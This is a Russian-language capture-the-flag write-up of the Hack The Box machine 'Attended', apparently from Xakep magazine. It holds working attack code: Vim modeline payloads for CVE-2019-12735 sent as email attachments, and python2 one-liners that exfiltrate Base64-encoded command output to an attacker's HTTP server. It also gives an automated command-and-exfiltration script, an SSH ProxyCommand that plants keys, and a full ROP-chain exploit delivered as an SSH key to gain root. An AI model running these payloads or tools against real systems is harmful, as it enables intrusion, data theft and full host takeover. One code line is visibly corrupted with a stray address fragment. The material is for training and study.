Хакер - HTB Attended. Инжектим команды в Vim и раскручиваем бинарную уязвимость с помощью ROP-цепочек
hacker_frei
Содержание статьи
- Разведка
- Точка входа
- Закрепление
- Продвижение
- Локальное повышение привилегий
В этой статье мы разберем опасную эксплуатацию уязвимости в редакторе Vim и несколько способов эксфильтрации данных, а также некоторые опасные конфигурации SSH. В качестве вишенки на торте — бинарная уязвимость, эксплуатация которой и позволит захватить хост. А поможет нам в этих развлечениях «безумная» по сложности машина Attended с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Адрес машины — 10.10.10.221, сразу добавляем его в /etc/hosts, чтобы можно было обращаться по имени.
10.10.10.221 attended.htb
Традиционно переходим к сканированию портов:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

По результатам сканирования имеем два открытых порта: 22 (служба SSH) и 25 (SMTP-сервер). На SSH нам ловить нечего (брут учеток — последнее дело!). Остается только порт 25, а в случае с SMTP главный вектор — это фишинг.
В результатах сканирования упоминается имя пользователя guly, это уже что‑то. Мы будем отправлять сообщение, содержащее наш локальный адрес, и просматривать трафик на наличие сетевого взаимодействия. В тексте сообщения можно написать что угодно, к примеру «Hi, guly! See 10.10.14.121». Для сбора трафика активируем tcpdump и с помощью фильтра отобразим только те пакеты, адрес назначения которых наш локальный.
sudo tcpdump -i tun0 dst 10.10.14.121
Для отправки сообщения будем использовать удобный скрипт swaks. Для указания получателя и отправителя используются параметры --to и --from соответственно, текст сообщения указывается в файле, путь к которому передается в параметре --body, адрес сервера — в параметре -s.
swaks --to guly@attended.htb --from ralf@attended.htb --body body.txt -s 10.10.10.221:25

Сначала в окне tcpdump будут только ответы сервера, но через несколько секунд мы уже увидим запрос, причем к порту 25.

ТОЧКА ВХОДА
Кажется, нам пытаются ответить! Чтобы принять ответ, развернем простой сервер SMTP на локальном хосте. Для этого установим и запустим Postfix.
sudo apt install postfix
sudo service postfix start
Все принятые сообщения будут расположены в файле, название которого совпадает с именем локального пользователя (у меня — zralf). А расположен этот файл в директории /var/mail/. Для отслеживания входящих писем в постоянном режиме можно запустить проверку в watch.
watch -p 'cat /var/mail/ralf'
Повторим отправку сообщения и получим ответ в консоли watch.

Из текста сообщения отмечаем еще одного пользователя — freshness, а также упоминание операционной системы OpenBSD (это мы знали) и текстового редактора Vim.
Что бы мы ни делали дальше, никаких ответов, кроме упомянутого сообщения, мы не получим. Что ж, будем работать с теми данными, которые имеем. Во‑первых, в качестве отправителя будем указывать найденного пользователя, а во‑вторых, есть шанс как‑то использовать Vim. Поищем готовые эксплоиты для него.
Для поиска эксплоитов удобна база Exploit-DB, встроенная в Kali Linux и доступная через утилиту searchsploit, но в реальных условиях лучше использовать Google, чтобы искать по всем доступным исследованиям и отчетам, включая самые новые.

Версию используемого текстового редактора мы не знаем, поэтому возьмем эксплоит для самой свежей — 8.1.1365. CVE-2019-12735 позволяет выполнить команды в операционной системе при открытии файлов со специальным содержимым (да, это возможно! Vim — сложный инструмент, а это значит, что такие вот сюрпризы иногда встречаются).
INFO
Подробнее о происхождении и эксплуатации этого бага читай в статье «Убойный текст. Выполняем произвольный код в Vim и Neovim».
Как указано в описании эксплоита, мы передаем команду, которую нужно выполнить, между символами :! и ||. Пример выполнения команды uname -a:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Попробуем проверить эксплоит на практике, но дело осложняется тем, что мы не видим результата выполнения команды. Поэтому нужно выполнить обращение с удаленного хоста на наш локальный. Попробуем вызвать коннект по протоколу TCP. Сигнализировать об обращении нам будет утилита netcat:
nc -lvp 4321
Для создания коннекта с удаленного хоста тоже можем просто использовать netcat, указав свой IP и прослушиваемый порт (nc [ip] 4321). Как указано в эксплоите, создадим файл‑вложение со следующим содержимым:
:!nc [ip] 4321||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
И повторим отправку сообщения, указав этот файл в параметре --attach.
swaks --to guly@attended.htb --from freshness@attended.htb --attach expl.txt -s 10.10.10.221:25
Немного ждем и, не получив никакого отклика, делаем два предположения: либо эксплоит не работает, либо на сервере нет netcat. Давай попробуем сделать то же самое, но уже используя curl и по протоколу HTTP. Изменим команду в прилагаемом файле expl.txt.
:!curl http://[ip]:4321||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Снова ждем, ничего не получаем и закрываем листенер netcat. Есть еще два варианта выполнить бэкконнект — DNS и ICMP. Давай попробуем вариант с пингом. Просматривать трафик будем с помощью tcpdump, указав в фильтре только пакет ICMP:
sudo tcpdump -i tun0 icmp
А теперь отправляем файл (команду swaks не привожу, она остается прежней), который в этот раз содержит команду с пингом. И спустя некоторое время получаем отклик!
:!ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Таким образом, мы можем использовать ping как сигнал об успешном или неуспешном выполнении отправленной команды. Для этого будем использовать два конвейера:
COMMAND && ping [IP]— если пинг пришел, то командаCOMMANDвыполнилась успешно, иначе нет;COMMAND || ping [IP]— если пинг пришел, то командаCOMMANDне выполнилась.
ЗАКРЕПЛЕНИЕ
Мы можем лишь узнать, выполнилась команда или нет, но не знаем ее результат. Чтобы произвести эксфильтрацию результата выполненных команд, нам нужно найти способ обращаться по HTTP. Нужно найти команду, с помощью которой это можно было бы делать. Как искать? Будем запрашивать help у каждой программы. Начнем с curl, меняем содержимое отправляемого файла:
:!curl -h && ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Пинг не пришел, при этом если использовать другой тип конвейера (curl -h || ping -c 4 [ip]), то пакеты идут. Делаем вывод: curl на хосте отсутствует. Теперь проверим таким же способом wget:
:!wget -h && ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Пинга нет, но есть при обратном конвейере ||, то есть wget тоже отсутствует. Пробуем Python 2:
:!python2 -h && ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
И получаем пинг, а значит, Python 2 есть на хосте! Проверяем, можем ли мы постучаться на свой хост по HTTP. Для начала запустим простой HTTP-сервер на Python 3:
sudo python3 -m http.server 80
А на хосте нужно выполнить такой скрипт:
import requests
requests.get('http://[ip]/test')
Это можно сделать прямо из консоли, содержимое отправляемого файла будет следующим:
:!python2 -c "import requests; requests.get('http://[ip]/test')" || ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Этот конвейер либо выполнит обращение к нашему веб‑серверу, либо просто попингует наш хост. И спустя время получаем обращение к странице test.

Теперь попробуем эксфильтровать данные. Для начала выполним в консоли команду whoami, результат которой закодируем в Base64, потом обратимся к нашей странице на сервере. Так мы получим закодированные данные. Вот как будет выглядеть код:
import requests
import base64
a = base64.b64encode( '$(whoami)' )
requests.get('http://[ip]/' + a)
Содержимое отправляемого файла будет следующим:
:!python2 -c "import requests, base64; a=base64.b64encode('$(whoami)'); requests.get('http://[ip]/'+a)" ; ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
В логах веб‑сервера видим обращение к какой‑то странице. Это результат выполненной команды, закодированный в Base64. Таким длинным путем мы получаем выполнение кода на сервере и узнаем, что работаем в контексте пользователя guly.

Итак, мы смогли произвести эксфильтрацию данных, но метод не очень удобный, так как мы не сможем эксфильтровать многострочные данные. Первым делом добьемся полной эксфильтрации. Будем выполнять команду средствами Python 2, ее результат записывать в файл в директории /tmp, после чего читать и кодировать этот файл для отправки, если команда была выполнена успешно. Если команда завершилась с ошибкой, то будем возвращать строку Command failed. Ниже привожу реализацию на Python.
import requests
import base64
import os
ans=os.system('COMMAND > /tmp/res')
res = ''
if ans==0:
res = open('/tmp/res').read()
else:
res = 'Command failed'
requests.get('http://[ip]/'+base64.b64encode(res))
В этом скрипте следует только указывать команду, которую нужно выполнить. Его запись в виде однострочника будет немного отличаться:
:!python2 -c "import requests, base64, os; ans=os.system('COMMAND > /tmp/res'); res = ''; res = open('/tmp/res').read() if ans==0 else 'Command failed'; requests.get('http://[ip]/'+base64.b64encode(res))"||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Проверяем наш эксплоит попытками выполнить работающую команду ls -la /home/guly и команду cat /root/root.txt, которая вернет ошибку.

Давай теперь реализуем функцию, которая будет запрашивать команду, генерировать файл вложения и отправлять его на почтовый сервер.
import subprocess
import os
IP = ''
def executeCommand(COMMAND):
expl = """:!python2 -c "import requests, base64, os; ans=os.system('""" + COMMAND + """ > /tmp/res'); res = ''; res = open('/tmp/res').read() if ans==0 else 'Command failed'; requests.get('http://""" + IP + """/'+base64.b64encode(res))"||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
"""
f_expl = open('expl.txt', 'wt')
f_expl.write(expl)
f_expl.close()
with open(os.devnull, 'wb') as devnull:
subprocess.check_call(['swaks', '--to', 'guly@attended.htb', '--from', 'freshness@attended.htb', '--attach', 'expl.txt', '-s', '10.10.10.220x6010c0
1:25'], stdout=devnull, stderr=devnull)
def main():
command = input('command > ')
executeCommand(command)
main()

Теперь добавим веб‑сервер в наш скрипт, чтобы декодирование и запрос следующей команды происходили автоматически.
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class EvilServer(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response_only(404)
self.end_headers()
def do_GET(self):
self._set_response()
print(base64.b64decode(self.path[1:].encode()).decode())
def run(server_class=HTTPServer, handler_class=EvilServer, port=80):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
Теперь нужно совместить наши блоки кода. При старте программы (функция run()) запускается веб‑сервер. После чего добавим запрос команды и выполнение отправки файла с эксплоитом (функция executeCommand()). При выполнении на сервере команды он ответит передачей закодированных данных, которые мы обработаем в методе do_GET() класса EvilServer. Нам нужно получить путь, к которому происходит обращение, и декодировать его. После чего вновь произвести запрос команды. Полный код с изменениями привожу ниже (нужно указать лишь свой IP), работает медленно, но удобно:
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64
import logging
import subprocess
import os
IP = ''
class EvilServer(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response_only(404)
self.end_headers()
def do_GET(self):
self._set_response()
print(base64.b64decode(self.path[1:].encode()).decode())
command = input('command > ')
executeCommand(command)
def run(server_class=HTTPServer, handler_class=EvilServer, port=80):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
command = input('command > ')
executeCommand(command)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
def executeCommand(COMMAND):
expl = """:!python2 -c "import requests, base64, os; ans=os.system('""" + COMMAND + """ > /tmp/res'); res = ''; res = open('/tmp/res').read() if ans==0 else 'Command failed'; requests.get('http://""" + IP + """/'+base64.b64encode(res))"||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
"""
f_expl = open('expl.txt', 'wt')
f_expl.write(expl)
f_expl.close()
with open(os.devnull, 'wb') as devnull:
subprocess.check_call(['swaks', '--to', 'guly@attended.htb', '--from', 'freshness@attended.htb', '--attach', 'expl.txt', '-s', '10.10.10.221:25'], stdout=devnull, stderr=devnull)
run()

ПРОДВИЖЕНИЕ
Вот мы и пробрались на машину. Сразу обращаем внимание на пользователей, у которых есть домашние каталоги, а также отмечаем, что директория shared доступна нам для записи, но не для чтения.

В домашней директории пользователя находим еще одну интересную директорию — tmp — и не менее интересный файл gchecker.py. Оказывается, код имитирует читающего сообщения и отвечающего нам пользователя. В том же файле находим функцию, которая проверяет, не кидаем ли мы реверс‑шелл. Но еще интереснее файл .config.swp.


Это файл обмена Vim, который создается сразу при открытии файла, в данном случае config. По содержимому мы понимаем, что это конфиг SSH, в котором указан пользователь freshness.

Поскольку мы имеем право на запись в директории share, которая принадлежит группе freshness, и создан файл обмена Vim для конфига SSH пользователя freshness, получается, что мы можем записать конфиг /home/share/config пользователя freshness.
В этом случае нас интересует директива ProxyCommand, которая позволит выполнить команду. Команда очевидна — попробуем для любого хоста (Host *) записать публичный ключ SSH (ProxyCommand echo ...), который сгенерируем командой ssh-keygen. Чтобы не экранировать всякие специальные символы в нашем эксплоите, просто отправим сообщение со следующим вложением (нужно только вставить свой SSH-ключ).
:!echo "Host *" >> /home/shared/config; echo " ProxyCommand echo 'ssh-rsa AA....' > ~/.ssh/authorized_keys" >> /home/shared/config ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Спустя некоторое время подключаемся по SSH с приватным ключом.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
В домашней директории пользователя находим директорию authkeys, содержащую бинарный файл и записку. В записке сказано, что команда authkeys не работает на attended, но работает на attendedgw. Эту запись мы обнаружим в файле /etc/hosts, что означает наличие второго хоста.


Нашли новый хост — сканируем порты! Для этого нужно проксировать трафик через уже доступный хост с помощью SSH. Локальный прокси‑сервер будет принимать соединение на порт 22222:
ssh -i id_rsa freshness@attended.htb -D 22222 -N
Перенаправление настроим с помощью proxychains. Для этого добавим запись socks4 127.0.0.1 22222 в конец файла /etc/proxichains.conf. Затем сканируем с помощью Nmap:
proxychains -q nmap 192.168.23.1 --min-rate=500

Было сказано, что скрипт не работает для SSHD, давай взглянем на файл /etc/ssh/sshd_config. Он содержит закомментированную опцию AuthorizedKeysCommand.

AuthorizedKeysCommand предоставляет возможность авторизовать пользователя без добавления публичного ключа в файл authorized_keys, при этом предполагается, что ключ хранится где‑то на удаленном сервере. Также должна быть прописана опция AuthorizedKeysCommandUser, где указывается пользователь, от имени которого будет запускаться скрипт (у нас это root, то есть мы нашли верный путь к повышению привилегий). На вход скрипту передаются следующие токены:
%f— цифровой отпечаток (fingerprint) ключа или сертификата;%h— домашняя директория пользователя;%t— тип ключа или сертификата;%k— ключ или сертификат для авторизации, закодированный в Base64.
То, что программа принимает на вход только четыре аргумента, становится ясно и после ее анализа в дизассемблере (я использую IDA Pro): она выводит соответствующее сообщение. Перед тем как дизассемблировать, сначала загружаем исполняемый файл на свой хост:
scp -i id_rsa freshness@attended.htb:~/authkeys/authkeys ./
Разделение строк реализовано символом 0x0A, поэтому IDA учитывает их как одну строку. Но можно заменить их привычным символом окончания строки — 0. Тогда поведение программы станет немного понятнее.



Разбираясь с кодом, не забываем учитывать уже имеющуюся информацию о принимаемых аргументах. Так как последний аргумент должен быть представлен в формате Base64, мы можем сразу найти функцию, которая выполняет кодирование. Обрати внимание, что осуществляется копирование в буфер размером 0x300 байт, а после этого — потенциальное переполнение буфера.


Проверим теорию с переполнением, для чего скопируем исполняемый файл в каталог /tmp. Чтобы определить смещение, по которому стоит производить перезапись, сгенерируем последовательность де Брёйна с помощью библиотеки pwntools.

Теперь запустим программу в отладчике GDB и передадим четвертым параметром нашу строку. После того как программа упадет, проверим данные по регистру RSP. Видим часть нашей строки и копируем первые четыре байта, которые передаем обратно в скрипт cyclic, чтобы определить смещение.


Так как тут есть уязвимость переполнения буфера, давай добьемся выполнения команд на хосте. В этом нам помогут ROP-цепочки. Об этой технике в «Хакере» уже многократно писали, так что не будем повторяться.
Сначала получим все цепочки с помощью утилиты ROPgadget.
ROPgadget --binary authkeys

В списке гаджетов находим syscall. С помощью его мы и выполним команду операционной системы, вызвав функцию execve. Но сначала разберемся с условиями правильной работы, а именно с содержимым регистров при вызове syscall:
- RAX — содержит номер вызова (для
execve— 59); - RDI — первый аргумент функции (указатель на команду);
- RSI — второй аргумент функции (указатель на массив
argv[]); - RDX — третий аргумент функции (указатель на массив
envp[]).
Первым делом разберемся с регистром RAX, куда нам нужно поместить значение 59. Для работы с ним мы можем использовать два гаджета: побитовый сдвиг вправо и побитовое отрицание.
0x0000000000400394 : mov eax, 0xffffffff ; xor rcx, rcx ; ret
0x000000000040036d : not al ; adc cl, 0xe8 ; ret
0x0000000000400370 : shr eax, 1 ; ret
Сначала установим значение регистра 0xffffffff, потом выполним 24 сдвига, чтобы обособить один байт со значением 0xff, то есть 11111111 (тогда как нам нужно 0x3b или 111011). Потом выполним ряд операций по преобразованию:
mov_eax = pack('<Q', 0x0000000000400394)
not_al = pack('<Q', 0x000000000040036d)
shr_eax = pack('<Q', 0x0000000000400370)
SET_RAX = mov_eax
for i in range(24):
SET_RAX += shr_eax # RAX = 11111111
SET_RAX += shr_eax # RAX = 01111111
SET_RAX += not_al # RAX = 10000000
for i in range(3):
SET_RAX += shr_eax # RAX = 00010000
SET_RAX += not_al # RAX = 11101111
SET_RAX += shr_eax # RAX = 01110110
SET_RAX += shr_eax # RAX = 00111011
Таким образом мы устанавливаем значение 59 в регистре RAX. Теперь разбираемся с командой. Будем писать SSH-ключ в файл authorized_keys (для тестирования пишем в локальную директорию). Здесь важно определиться c адресом, по которому будут записаны наши данные. Тут это сделать просто: статическая переменная, куда будет записана декодированная строка, расположена после уже заданных строк по адресу 0x6010c0. Начнем нашу нагрузку с выбранной команды и ее аргументов, тогда они будут расположены по этому адресу. Тогда мы сможем легко вычислить и их смещения, которые мы расположим после строк. Завершим нагрузку еще двумя адресами: адресом массива строк и адресом массива указателей на эти же строки.
def to_addr(s):
return s + b'\x00'*(8 - len(s)%8)
def to_float(addr):
s = pack('<f', addr)
s += b'\x00' * (8-len(s))
return s
command = [
to_addr(b"/bin/sh"),
to_addr(b"-c"),
to_addr(b"echo 'qweewqqweewq' >> /tmp/authorized_keys")
]
payload_address = 0x6010c0
command_offset = 0
payload = b"".join(command) + pack('<Q', 0x00)
pointer_offset = len(payload)
payload += pack('<Q', payload_address )
payload += pack('<Q', payload_address + len(command[0]) )
payload += pack('<Q', payload_address + len(command[0]) + len(command[1]) )
payload += pack('<Q', 0x00000000)
offsets = len(payload)
payload += to_float(payload_address)
payload += to_float(payload_address + pointer_offset)
Теперь займемся установкой значений регистров RDI, RSI и RDX. Тут было очень сложно определить цепочку гаджетов, но все же выделяем следующие:
0x000000000040037b : movss xmm0, dword ptr [rdx] ; mov ebx, 0xf02d0ff3 ; ret
0x0000000000400380 : cvtss2si esi, xmm0 ; ret
0x0000000000400367 : mov rdi, rsi ; pop rdx ; ret
0x000000000040036a : pop rdx ; ret
Команда movss копирует младшее упакованное вещественное значение из операнда‑источника в младшее 32-битное поле операнда‑назначения (в нашем случае из RDX в xmm0). Команда cvtss2si преобразует младшее короткое вещественное значение из операнда в памяти в знаковое 32-битное целочисленное значение и помещает результат в 32-битный регистр общего назначения (у нас из xmm0 в esi). Так можно задать значение регистра RSI. А третий гаджет поможет перенести его в RDI. Значение регистра RDX можно обнулить. Но вот в чем была проблема: цепочка начинается с переноса значения из регистра RDX, но нет гаджета для переноса значения в него. Что делать? Мне пришлось проконсультироваться со знатоком, который дал подсказку: посмотреть на саму программу. При выходе из текущего блока RDX указывает на payload_address + 768.

А значит, мы можем задать значение payload_address + offsets по смещению payload_address + 768.
# ... payload_address + 768 ...
payload += pack('<Q', payload_address + offsets)
SET_RDI = pack('<Q', 0x000000000040037b ) + pack('<Q', 0x0000000000400380 ) + pack('<Q', 0x0000000000400367 )
SET_RSI = pack('<Q', payload_address + offsets + 0x8) + pack('<Q', 0x000000000040037b ) + pack('<Q', 0x0000000000400380 )
SET_RDX = pack('<Q', 0x000000000040036a ) + pack('<Q', 0x00 )
И в конце добавляем вызов syscall:
# 0x00000000004003cf : syscall
SYSCALL = pack('<Q', 0x00000000004003cf )
Теперь собираем все воедино:
- сначала идет массив строк, составляющий нашу команду;
- затем идет массив указателей на каждую строку;
- затем расположены два указателя на массивы строк и указателей на строки;
- далее вставляем дополнение до 768 символов;
- теперь по данному смещению указываем адрес массива указателей, который будет извлечен в регистр
RDX; - заполняем регистр
RAX(номерexecve); - заполняем регистр
RDIизRDX(указатель на указатель на главную команду); - заполняем регистр
RSI(указатель на массив аргументов); - зануляем
RDX; - вызываем
syscall.
from struct import pack
import base64
def to_addr(s):
return s + b'\x00'*(8 - len(s)%8)
def to_float(addr):
s = pack('<f', addr)
s += b'\x00' * (8-len(s))
return s
command = [
to_addr(b"/bin/sh"),
to_addr(b"-c"),
to_addr(b"echo 'qweewqqweewq' >> /tmp/authorized_keys")
]
payload_address = 0x6010c0
payload = b""
mov_eax = pack('<Q', 0x0000000000400394)
not_al = pack('<Q', 0x000000000040036d)
shr_eax = pack('<Q', 0x0000000000400370)
SET_RAX = mov_eax
for i in range(24):
SET_RAX += shr_eax # RAX = 11111111
SET_RAX += shr_eax # RAX = 01111111
SET_RAX += not_al # RAX = 10000000
for i in range(3):
SET_RAX += shr_eax # RAX = 00010000
SET_RAX += not_al # RAX = 11101111
SET_RAX += shr_eax # RAX = 01110110
SET_RAX += shr_eax # RAX = 00111011
payload = b""
payload = b"".join(command) + pack('<Q', 0x00)
pointer_offset = len(payload)
payload += pack('<Q', payload_address )
payload += pack('<Q', payload_address + len(command[0]) )
payload += pack('<Q', payload_address + len(command[0]) + len(command[1]) )
payload += pack('<Q', 0x00 )
offsets = len(payload)
payload += to_float(payload_address)
payload += to_float(payload_address + pointer_offset)
payload += pack('<Q', 0x00 ) * ((0x0300 - len(payload))//8)
payload += pack('<Q', payload_address + offsets)
payload += SET_RAX
payload += pack('<Q', 0x000000000040037b ) + pack('<Q', 0x0000000000400380 ) + pack('<Q', 0x0000000000400367 ) # SET_RDI
payload += pack('<Q', payload_address + offsets + 0x8) + pack('<Q', 0x000000000040037b ) + pack('<Q', 0x0000000000400380 ) # SET_RSI
payload += pack('<Q', 0x000000000040036a ) + pack('<Q', 0x00 ) # SET_RDX
payload += pack('<Q', 0x00000000004003cf ) # SYSCALL
print(base64.b64encode(payload).decode())
Не забываем добавить кодирование в Base64.

./authkeys 1 2 3 L2Jpb...

Нагрузка отлично отрабатывает, осталось упаковать ее как ключ SSH, так как в токене %k будет передан именно он. Изменим команду записи, указав в ней реальный публичный ключ SSH и путь к файлу /root/.ssh/authorized_keys. И добавим в код упаковку в ключ SSH вместо строки вывода print(base64.b64encode(payload).decode()):
from Crypto.PublicKey.RSA import construct
import binascii
e = 65537
n = int(binascii.hexlify(payload), 16)
import os
key = construct((n, e), consistency_check=False)
print(key.exportKey(format="OpenSSH"))

Теперь выполним первое подключение с этим ключом, чтобы записать наш публичный. Затем выполним второе подключение уже с нашим приватным ключом.
proxychains -q ssh -i test_key root@192.168.23.1
proxychains -q ssh -i id_rsa root@192.168.23.1

Все прошло гладко. Машина захвачена, и у нас есть над ней полный контроль.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei